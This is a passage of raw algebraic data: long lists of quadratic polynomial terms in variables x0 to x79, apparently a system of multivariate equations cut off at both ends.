+ x11*x23 + x11*x24 + x11*x26 + x11*x28 + x11*x32 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x42 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x51 + x11*x53 + x11*x54 + x11*x55 + x11*x59 + x11*x61 + x11*x62 + x11*x64 + x11*x65 + x11*x66 + x11*x67 + x11*x71 + x11*x72 + x11*x75 + x11*x78 + x11 + x12*x15 + x12*x23 + x12*x24 + x12*x25 + x12*x27 + x12*x28 + x12*x29 + x12*x31 + x12*x33 + x12*x35 + x12*x36 + x12*x38 + x12*x43 + x12*x44 + x12*x46 + x12*x48 + x12*x50 + x12*x51 + x12*x53 + x12*x55 + x12*x57 + x12*x59 + x12*x62 + x12*x64 + x12*x66 + x12*x67 + x12*x74 + x12*x76 + x12 + x13*x14 + x13*x15 + x13*x19 + x13*x21 + x13*x22 + x13*x24 + x13*x25 + x13*x26 + x13*x27 + x13*x29 + x13*x30 + x13*x35 + x13*x36 + x13*x37 + x13*x38 + x13*x39 + x13*x41 + x13*x43 + x13*x44 + x13*x48 + x13*x49 + x13*x50 + x13*x53 + x13*x54 + x13*x55 + x13*x56 + x13*x57 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x63 + x13*x65 + x13*x67 + x13*x72 + x13*x74 + x13*x76 + x13*x78 + x13 + x14*x18 + x14*x19 + x14*x20 + x14*x24 + x14*x25 + x14*x26 + x14*x27 + x14*x32 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x38 + x14*x39 + x14*x41 + x14*x43 + x14*x46 + x14*x47 + x14*x49 + x14*x50 + x14*x52 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x58 + x14*x63 + x14*x64 + x14*x66 + x14*x67 + x14*x70 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x19 + x15*x21 + x15*x24 + x15*x25 + x15*x26 + x15*x28 + x15*x29 + x15*x30 + x15*x32 + x15*x33 + x15*x37 + x15*x39 + x15*x41 + x15*x43 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x50 + x15*x51 + x15*x52 + x15*x54 + x15*x58 + x15*x60 + x15*x61 + x15*x62 + x15*x66 + x15*x67 + x15*x68 + x15*x74 + x15*x75 + x15*x78 + x15*x79 + x16*x18 + x16*x19 + x16*x27 + x16*x28 + x16*x29 + x16*x31 + x16*x36 + x16*x38 + x16*x39 + x16*x40 + x16*x42 + x16*x46 + x16*x47 + x16*x51 + x16*x60 + x16*x61 + x16*x62 + x16*x64 + x16*x65 + x16*x66 + x16*x67 + x16*x69 + x16*x74 + x16*x75 + x16*x76 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x21 + x17*x24 + x17*x26 + x17*x28 + x17*x30 + x17*x34 + x17*x36 + x17*x37 + x17*x39 + x17*x42 + x17*x43 + x17*x47 + x17*x50 + x17*x52 + x17*x53 + x17*x56 + x17*x57 + x17*x59 + x17*x60 + x17*x61 + x17*x62 + x17*x64 + x17*x67 + x17*x71 + x17*x72 + x17*x73 + x17*x75 + x17*x76 + x17*x77 + x17*x78 + x17 + x18*x19 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x37 + x18*x39 + x18*x41 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x56 + x18*x58 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x73 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18*x78 + x18 + x19*x21 + x19*x23 + x19*x26 + x19*x27 + x19*x28 + x19*x31 + x19*x32 + x19*x34 + x19*x35 + x19*x37 + x19*x39 + x19*x40 + x19*x42 + x19*x48 + x19*x49 + x19*x53 + x19*x54 + x19*x55 + x19*x59 + x19*x61 + x19*x62 + x19*x63 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x73 + x19*x74 + x19*x75 + x19*x77 + x19*x79 + x20*x21 + x20*x22 + x20*x23 + x20*x25 + x20*x26 + x20*x27 + x20*x28 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x35 + x20*x36 + x20*x40 + x20*x42 + x20*x46 + x20*x48 + x20*x49 + x20*x51 + x20*x52 + x20*x53 + x20*x57 + x20*x58 + x20*x59 + x20*x61 + x20*x62 + x20*x65 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x72 + x20*x74 + x20*x76 + x20*x77 + x20*x79 + x20 + x21*x24 + x21*x25 + x21*x26 + x21*x29 + x21*x31 + x21*x32 + x21*x34 + x21*x38 + x21*x39 + x21*x40 + x21*x41 + x21*x43 + x21*x44 + x21*x45 + x21*x48 + x21*x49 + x21*x50 + x21*x54 + x21*x58 + x21*x60 + x21*x61 + x21*x62 + x21*x66 + x21*x68 + x21*x69 + x21*x70 + x21*x72 + x21*x74 + x21*x75 + x21*x77 + x21*x78 + x21 + x22*x26 + x22*x30 + x22*x33 + x22*x36 + x22*x37 + x22*x42 + x22*x43 + x22*x44 + x22*x46 + x22*x47 + x22*x48 + x22*x51 + x22*x55 + x22*x56 + x22*x59 + x22*x61 + x22*x62 + x22*x64 + x22*x66 + x22*x69 + x22*x72 + x22*x74 + x22*x75 + x22 + x23*x27 + x23*x29 + x23*x30 + x23*x31 + x23*x32 + x23*x37 + x23*x38 + x23*x39 + x23*x40 + x23*x42 + x23*x44 + x23*x45 + x23*x48 + x23*x50 + x23*x52 + x23*x53 + x23*x54 + x23*x57 + x23*x60 + x23*x61 + x23*x64 + x23*x70 + x23*x72 + x23*x73 + x23*x75 + x23*x76 + x23*x77 + x23*x78 + x23 + x24*x26 + x24*x29 + x24*x30 + x24*x31 + x24*x32 + x24*x38 + x24*x40 + x24*x42 + x24*x44 + x24*x47 + x24*x50 + x24*x53 + x24*x55 + x24*x56 + x24*x57 + x24*x58 + x24*x60 + x24*x61 + x24*x62 + x24*x63 + x24*x69 + x24*x70 + x24*x73 + x24*x74 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x25*x26 + x25*x31 + x25*x32 + x25*x35 + x25*x36 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x49 + x25*x55 + x25*x60 + x25*x61 + x25*x62 + x25*x64 + x25*x65 + x25*x66 + x25*x68 + x25*x69 + x25*x71 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x31 + x26*x37 + x26*x39 + x26*x41 + x26*x43 + x26*x45 + x26*x46 + x26*x47 + x26*x48 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x55 + x26*x56 + x26*x57 + x26*x60 + x26*x62 + x26*x63 + x26*x65 + x26*x67 + x26*x69 + x26*x72 + x26*x73 + x26*x74 + x26*x75 + x26*x77 + x26*x79 + x26 + x27*x29 + x27*x32 + x27*x35 + x27*x39 + x27*x40 + x27*x41 + x27*x45 + x27*x46 + x27*x47 + x27*x49 + x27*x50 + x27*x52 + x27*x56 + x27*x58 + x27*x65 + x27*x68 + x27*x69 + x27*x71 + x27*x73 + x27*x74 + x27*x79 + x28*x29 + x28*x37 + x28*x40 + x28*x44 + x28*x45 + x28*x46 + x28*x47 + x28*x52 + x28*x53 + x28*x54 + x28*x57 + x28*x64 + x28*x65 + x28*x68 + x28*x70 + x28*x76 + x28*x78 + x29*x32 + x29*x33 + x29*x35 + x29*x37 + x29*x38 + x29*x39 + x29*x40 + x29*x42 + x29*x43 + x29*x44 + x29*x50 + x29*x52 + x29*x55 + x29*x56 + x29*x58 + x29*x63 + x29*x68 + x29*x69 + x29*x70 + x29*x77 + x29 + x30*x31 + x30*x39 + x30*x41 + x30*x42 + x30*x50 + x30*x52 + x30*x65 + x30*x66 + x30*x67 + x30*x68 + x30*x70 + x30*x72 + x30*x74 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x36 + x31*x39 + x31*x42 + x31*x43 + x31*x45 + x31*x48 + x31*x50 + x31*x55 + x31*x58 + x31*x62 + x31*x63 + x31*x64 + x31*x65 + x31*x66 + x31*x69 + x31*x71 + x31*x72 + x31*x73 + x31*x76 + x31*x78 + x32*x38 + x32*x40 + x32*x41 + x32*x44 + x32*x45 + x32*x47 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x56 + x32*x57 + x32*x60 + x32*x61 + x32*x62 + x32*x63 + x32*x64 + x32*x65 + x32*x66 + x32*x68 + x32*x70 + x32*x72 + x32*x73 + x32*x75 + x32*x78 + x32*x79 + x33*x35 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x42 + x33*x46 + x33*x47 + x33*x49 + x33*x52 + x33*x53 + x33*x54 + x33*x57 + x33*x58 + x33*x63 + x33*x67 + x33*x70 + x33*x71 + x33*x72 + x33*x75 + x33*x76 + x33*x79 + x33 + x34*x35 + x34*x37 + x34*x38 + x34*x39 + x34*x45 + x34*x46 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x55 + x34*x62 + x34*x64 + x34*x68 + x34*x71 + x34*x73 + x34*x74 + x34*x77 + x34*x79 + x34 + x35*x37 + x35*x41 + x35*x43 + x35*x44 + x35*x47 + x35*x49 + x35*x50 + x35*x52 + x35*x55 + x35*x56 + x35*x58 + x35*x60 + x35*x61 + x35*x62 + x35*x65 + x35*x66 + x35*x68 + x35*x70 + x35*x72 + x35*x74 + x35*x78 + x36*x37 + x36*x38 + x36*x41 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x48 + x36*x50 + x36*x55 + x36*x59 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x66 + x36*x67 + x36*x70 + x36*x71 + x36*x73 + x36*x75 + x36*x78 + x37*x38 + x37*x40 + x37*x41 + x37*x42 + x37*x43 + x37*x45 + x37*x46 + x37*x48 + x37*x50 + x37*x51 + x37*x53 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x69 + x37*x70 + x37*x74 + x37*x77 + x37*x78 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x45 + x38*x47 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x61 + x38*x67 + x38*x70 + x38*x72 + x38*x74 + x38*x79 + x38 + x39*x40 + x39*x45 + x39*x46 + x39*x47 + x39*x48 + x39*x50 + x39*x52 + x39*x56 + x39*x59 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x66 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x41 + x40*x42 + x40*x43 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x55 + x40*x56 + x40*x58 + x40*x59 + x40*x60 + x40*x61 + x40*x62 + x40*x64 + x40*x67 + x40*x70 + x40*x75 + x40*x77 + x40*x79 + x41*x44 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x52 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x59 + x41*x60 + x41*x63 + x41*x66 + x41*x68 + x41*x69 + x41*x74 + x41*x76 + x41*x77 + x41*x78 + x41 + x42*x43 + x42*x44 + x42*x46 + x42*x50 + x42*x53 + x42*x54 + x42*x55 + x42*x62 + x42*x64 + x42*x68 + x42*x69 + x42*x73 + x42*x74 + x42*x76 + x42*x77 + x43*x44 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x50 + x43*x52 + x43*x54 + x43*x55 + x43*x57 + x43*x59 + x43*x60 + x43*x61 + x43*x63 + x43*x64 + x43*x68 + x43*x71 + x43*x72 + x43*x76 + x43*x78 + x43 + x44*x45 + x44*x47 + x44*x48 + x44*x53 + x44*x55 + x44*x58 + x44*x59 + x44*x62 + x44*x63 + x44*x66 + x44*x68 + x44*x69 + x44*x70 + x44*x74 + x44*x75 + x44*x76 + x44*x78 + x44*x79 + x45*x46 + x45*x47 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x56 + x45*x57 + x45*x58 + x45*x60 + x45*x61 + x45*x62 + x45*x63 + x45*x64 + x45*x66 + x45*x67 + x45*x70 + x45*x71 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x46*x49 + x46*x50 + x46*x52 + x46*x53 + x46*x54 + x46*x56 + x46*x57 + x46*x59 + x46*x60 + x46*x65 + x46*x66 + x46*x69 + x46*x71 + x46*x72 + x46*x73 + x46*x76 + x46*x77 + x46*x79 + x46 + x47*x50 + x47*x52 + x47*x57 + x47*x58 + x47*x59 + x47*x62 + x47*x64 + x47*x65 + x47*x66 + x47*x69 + x47*x70 + x47*x71 + x47*x78 + x47*x79 + x48*x50 + x48*x55 + x48*x56 + x48*x61 + x48*x62 + x48*x64 + x48*x65 + x48*x67 + x48*x68 + x48*x70 + x48*x74 + x48*x75 + x48*x78 + x48 + x49*x53 + x49*x55 + x49*x60 + x49*x61 + x49*x64 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x70 + x49*x73 + x49*x79 + x50*x52 + x50*x53 + x50*x57 + x50*x58 + x50*x60 + x50*x62 + x50*x66 + x50*x72 + x50*x74 + x50*x75 + x50*x77 + x50*x79 + x50 + x51*x52 + x51*x58 + x51*x60 + x51*x62 + x51*x63 + x51*x66 + x51*x67 + x51*x70 + x51*x77 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x60 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x68 + x52*x69 + x52*x70 + x52*x71 + x52*x72 + x52*x73 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x57 + x53*x59 + x53*x61 + x53*x63 + x53*x66 + x53*x67 + x53*x69 + x53*x76 + x53*x78 + x53*x79 + x53 + x54*x55 + x54*x56 + x54*x58 + x54*x59 + x54*x66 + x54*x67 + x54*x69 + x54*x70 + x54*x77 + x54*x79 + x55*x56 + x55*x58 + x55*x59 + x55*x62 + x55*x64 + x55*x66 + x55*x69 + x55*x70 + x55*x71 + x55*x72 + x55*x76 + x55*x77 + x55*x78 + x55 + x56*x58 + x56*x59 + x56*x62 + x56*x65 + x56*x67 + x56*x69 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x57*x59 + x57*x60 + x57*x62 + x57*x63 + x57*x65 + x57*x66 + x57*x69 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x58*x59 + x58*x62 + x58*x63 + x58*x64 + x58*x66 + x58*x68 + x58*x71 + x58*x74 + x58*x75 + x58*x77 + x58*x78 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x69 + x59*x72 + x59*x74 + x59*x75 + x59*x77 + x59*x78 + x59*x79 + x60*x61 + x60*x63 + x60*x64 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x73 + x60*x74 + x60*x77 + x60 + x61*x62 + x61*x68 + x61*x69 + x61*x75 + x61*x76 + x61*x78 + x61*x79 + x62*x66 + x62*x67 + x62*x69 + x62*x70 + x62*x72 + x62*x73 + x62*x75 + x62*x76 + x62*x79 + x63*x64 + x63*x65 + x63*x66 + x63*x68 + x63*x69 + x63*x70 + x63*x71 + x63*x73 + x63*x77 + x63*x78 + x63*x79 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x73 + x64*x76 + x64*x77 + x64 + x65*x66 + x65*x67 + x65*x68 + x65*x69 + x65*x73 + x65*x76 + x65*x77 + x66*x67 + x66*x68 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x77 + x66*x78 + x66*x79 + x67*x70 + x67*x71 + x67*x75 + x67*x76 + x67*x77 + x67 + x68*x69 + x68*x72 + x68*x75 + x68*x76 + x68*x78 + x68 + x69*x72 + x69*x74 + x69*x77 + x70*x71 + x70*x73 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x75 + x71*x78 + x71 + x72*x73 + x72*x74 + x72*x77 + x72*x79 + x72 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x78 + x75*x78 + x75 + x76*x77 + x76*x79 + x77*x78 + x77*x79 + x78*x79, x0*x6 + x0*x10 + x0*x11 + x0*x13 + x0*x14 + x0*x15 + x0*x17 + x0*x18 + x0*x19 + x0*x20 + x0*x22 + x0*x23 + x0*x26 + x0*x27 + x0*x28 + x0*x30 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x42 + x0*x45 + x0*x51 + x0*x52 + x0*x53 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x64 + x0*x65 + x0*x66 + x0*x67 + x0*x68 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x74 + x0*x75 + x0*x76 + x0 + x1*x6 + x1*x8 + x1*x9 + x1*x10 + x1*x13 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x20 + x1*x21 + x1*x22 + x1*x23 + x1*x24 + x1*x27 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x43 + x1*x45 + x1*x47 + x1*x50 + x1*x51 + x1*x52 + x1*x54 + x1*x56 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x68 + x1*x69 + x1*x70 + x1*x73 + x1*x74 + x1*x75 + x1*x76 + x1*x78 + x1*x79 + x2*x4 + x2*x5 + x2*x7 + x2*x10 + x2*x11 + x2*x19 + x2*x20 + x2*x21 + x2*x23 + x2*x24 + x2*x26 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x36 + x2*x38 + x2*x41 + x2*x43 + x2*x44 + x2*x45 + x2*x48 + x2*x49 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x57 + x2*x58 + x2*x60 + x2*x61 + x2*x63 + x2*x64 + x2*x66 + x2*x68 + x2*x70 + x2*x72 + x2*x73 + x2*x74 + x2*x75 + x3*x8 + x3*x11 + x3*x16 + x3*x19 + x3*x22 + x3*x23 + x3*x25 + x3*x26 + x3*x27 + x3*x31 + x3*x32 + x3*x33 + x3*x34 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x43 + x3*x44 + x3*x45 + x3*x47 + x3*x48 + x3*x51 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x61 + x3*x63 + x3*x66 + x3*x79 + x4*x5 + x4*x7 + x4*x8 + x4*x10 + x4*x13 + x4*x14 + x4*x16 + x4*x17 + x4*x21 + x4*x23 + x4*x24 + x4*x25 + x4*x26 + x4*x27 + x4*x29 + x4*x31 + x4*x36 + x4*x37 + x4*x39 + x4*x40 + x4*x42 + x4*x43 + x4*x45 + x4*x46 + x4*x50 + x4*x55 + x4*x57 + x4*x61 + x4*x63 + x4*x64 + x4*x65 + x4*x70 + x4*x71 + x4*x73 + x4*x74 + x4*x75 + x4*x78 + x4*x79 + x5*x6 + x5*x10 + x5*x11 + x5*x12 + x5*x14 + x5*x15 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x30 + x5*x31 + x5*x32 + x5*x33 + x5*x34 + x5*x36 + x5*x37 + x5*x40 + x5*x45 + x5*x46 + x5*x47 + x5*x51 + x5*x52 + x5*x53 + x5*x55 + x5*x56 + x5*x57 + x5*x63 + x5*x64 + x5*x67 + x5*x68 + x5*x69 + x5*x71 + x5*x72 + x5*x73 + x5*x76 + x5*x78 + x6*x7 + x6*x10 + x6*x15 + x6*x16 + x6*x17 + x6*x20 + x6*x22 + x6*x25 + x6*x26 + x6*x28 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x52 + x6*x54 + x6*x55 + x6*x56 + x6*x58 + x6*x59 + x6*x61 + x6*x64 + x6*x66 + x6*x69 + x6*x70 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x12 + x7*x15 + x7*x17 + x7*x19 + x7*x21 + x7*x22 + x7*x24 + x7*x26 + x7*x27 + x7*x31 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x39 + x7*x43 + x7*x45 + x7*x47 + x7*x49 + x7*x51 + x7*x52 + x7*x55 + x7*x57 + x7*x58 + x7*x60 + x7*x61 + x7*x62 + x7*x66 + x7*x67 + x7*x70 + x7*x71 + x7*x74 + x7*x76 + x7 + x8*x9 + x8*x10 + x8*x11 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x33 + x8*x34 + x8*x37 + x8*x40 + x8*x44 + x8*x45 + x8*x47 + x8*x48 + x8*x49 + x8*x52 + x8*x53 + x8*x55 + x8*x56 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x70 + x8*x72 + x8*x75 + x8*x78 + x8*x79 + x8 + x9*x10 + x9*x12 + x9*x13 + x9*x15 + x9*x17 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x26 + x9*x27 + x9*x28 + x9*x29 + x9*x30 + x9*x33 + x9*x36 + x9*x37 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x44 + x9*x47 + x9*x48 + x9*x49 + x9*x50 + x9*x51 + x9*x56 + x9*x57 + x9*x59 + x9*x60 + x9*x61 + x9*x63 + x9*x65 + x9*x67 + x9*x69 + x9*x70 + x9*x72 + x9*x74 + x9*x75 + x9*x76 + x9*x77 + x9 + x10*x13 + x10*x17 + x10*x18 + x10*x20 + x10*x21 + x10*x22 + x10*x24 + x10*x26 + x10*x29 + x10*x32 + x10*x35 + x10*x38 + x10*x41 + x10*x43 + x10*x44 + x10*x45 + x10*x48 + x10*x50 + x10*x52 + x10*x56 + x10*x57 + x10*x60 + x10*x62 + x10*x63 + x10*x64 + x10*x66 + x10*x67 + x10*x70 + x10*x71 + x10*x72 + x10*x73 + x10*x75 + x10*x76 + x10*x79 + x10 + x11*x12 + x11*x14 + x11*x16 + x11*x18 + x11*x20 + x11*x24 + x11*x27 + x11*x29 + x11*x32 + x11*x33 + x11*x36 + x11*x37 + x11*x39 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x46 + x11*x53 + x11*x55 + x11*x57 + x11*x58 + x11*x60 + x11*x61 + x11*x62 + x11*x63 + x11*x64 + x11*x66 + x11*x68 + x11*x69 + x11*x70 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x78 + x12*x17 + x12*x18 + x12*x19 + x12*x20 + x12*x23 + x12*x24 + x12*x25 + x12*x29 + x12*x35 + x12*x41 + x12*x42 + x12*x44 + x12*x47 + x12*x48 + x12*x49 + x12*x51 + x12*x52 + x12*x54 + x12*x55 + x12*x58 + x12*x59 + x12*x61 + x12*x64 + x12*x66 + x12*x67 + x12*x71 + x12*x75 + x12*x77 + x12*x78 + x13*x15 + x13*x16 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x28 + x13*x29 + x13*x31 + x13*x32 + x13*x33 + x13*x38 + x13*x42 + x13*x43 + x13*x45 + x13*x46 + x13*x48 + x13*x50 + x13*x51 + x13*x54 + x13*x55 + x13*x56 + x13*x57 + x13*x58 + x13*x59 + x13*x60 + x13*x63 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x71 + x13*x75 + x13*x76 + x14*x15 + x14*x16 + x14*x19 + x14*x22 + x14*x26 + x14*x27 + x14*x29 + x14*x32 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x43 + x14*x44 + x14*x47 + x14*x48 + x14*x52 + x14*x53 + x14*x57 + x14*x59 + x14*x63 + x14*x65 + x14*x66 + x14*x68 + x14*x69 + x14*x70 + x14*x71 + x14*x73 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x22 + x15*x25 + x15*x29 + x15*x31 + x15*x35 + x15*x37 + x15*x38 + x15*x41 + x15*x43 + x15*x45 + x15*x47 + x15*x51 + x15*x52 + x15*x53 + x15*x56 + x15*x58 + x15*x59 + x15*x61 + x15*x63 + x15*x66 + x15*x68 + x15*x70 + x15*x74 + x15*x75 + x15*x76 + x15*x77 + x15*x78 + x16*x17 + x16*x18 + x16*x20 + x16*x21 + x16*x23 + x16*x26 + x16*x27 + x16*x28 + x16*x31 + x16*x35 + x16*x37 + x16*x39 + x16*x41 + x16*x43 + x16*x45 + x16*x46 + x16*x53 + x16*x54 + x16*x55 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x64 + x16*x68 + x16*x70 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16 + x17*x20 + x17*x21 + x17*x24 + x17*x26 + x17*x27 + x17*x31 + x17*x32 + x17*x33 + x17*x39 + x17*x40 + x17*x41 + x17*x43 + x17*x44 + x17*x46 + x17*x48 + x17*x51 + x17*x53 + x17*x54 + x17*x56 + x17*x58 + x17*x62 + x17*x64 + x17*x65 + x17*x68 + x17*x70 + x17*x72 + x17*x77 + x18*x19 + x18*x22 + x18*x27 + x18*x28 + x18*x30 + x18*x32 + x18*x35 + x18*x43 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x51 + x18*x52 + x18*x56 + x18*x57 + x18*x58 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x73 + x18*x74 + x18*x76 + x18*x77 + x18*x78 + x18 + x19*x20 + x19*x23 + x19*x24 + x19*x26 + x19*x29 + x19*x30 + x19*x35 + x19*x36 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x49 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x56 + x19*x59 + x19*x60 + x19*x63 + x19*x64 + x19*x65 + x19*x68 + x19*x69 + x19*x70 + x19*x72 + x19*x73 + x19*x75 + x19*x76 + x19*x77 + x19*x79 + x20*x22 + x20*x23 + x20*x25 + x20*x26 + x20*x27 + x20*x29 + x20*x32 + x20*x35 + x20*x37 + x20*x38 + x20*x40 + x20*x44 + x20*x50 + x20*x55 + x20*x57 + x20*x58 + x20*x59 + x20*x60 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x78 + x20 + x21*x25 + x21*x26 + x21*x28 + x21*x30 + x21*x32 + x21*x35 + x21*x37 + x21*x46 + x21*x48 + x21*x52 + x21*x55 + x21*x56 + x21*x58 + x21*x59 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x66 + x21*x71 + x21*x72 + x21*x73 + x21*x74 + x21*x76 + x21*x77 + x21 + x22*x25 + x22*x26 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x49 + x22*x52 + x22*x53 + x22*x55 + x22*x56 + x22*x59 + x22*x60 + x22*x61 + x22*x62 + x22*x63 + x22*x64 + x22*x67 + x22*x72 + x22*x75 + x22*x76 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x30 + x23*x31 + x23*x33 + x23*x34 + x23*x37 + x23*x38 + x23*x39 + x23*x41 + x23*x43 + x23*x45 + x23*x46 + x23*x47 + x23*x49 + x23*x50 + x23*x51 + x23*x54 + x23*x56 + x23*x58 + x23*x60 + x23*x62 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x71 + x23*x72 + x23*x73 + x23*x74 + x23*x77 + x23*x78 + x24*x26 + x24*x27 + x24*x30 + x24*x31 + x24*x32 + x24*x36 + x24*x39 + x24*x40 + x24*x41 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x50 + x24*x51 + x24*x53 + x24*x54 + x24*x55 + x24*x57 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x66 + x24*x68 + x24*x69 + x24*x72 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x24 + x25*x28 + x25*x29 + x25*x31 + x25*x33 + x25*x36 + x25*x38 + x25*x39 + x25*x40 + x25*x42 + x25*x44 + x25*x46 + x25*x49 + x25*x51 + x25*x53 + x25*x54 + x25*x55 + x25*x56 + x25*x57 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x66 + x25*x67 + x25*x68 + x25*x69 + x25*x70 + x25*x73 + x25*x74 + x25*x75 + x25*x78 + x25*x79 + x25 + x26*x28 + x26*x29 + x26*x30 + x26*x33 + x26*x34 + x26*x36 + x26*x37 + x26*x38 + x26*x39 + x26*x42 + x26*x43 + x26*x46 + x26*x47 + x26*x48 + x26*x52 + x26*x53 + x26*x54 + x26*x57 + x26*x58 + x26*x60 + x26*x61 + x26*x62 + x26*x63 + x26*x66 + x26*x68 + x26*x69 + x26*x70 + x26*x71 + x26*x73 + x26*x75 + x26*x76 + x26*x79 + x26 + x27*x28 + x27*x29 + x27*x32 + x27*x35 + x27*x38 + x27*x41 + x27*x45 + x27*x50 + x27*x51 + x27*x55 + x27*x56 + x27*x57 + x27*x68 + x27*x69 + x27*x72 + x27*x73 + x27*x75 + x27*x77 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x35 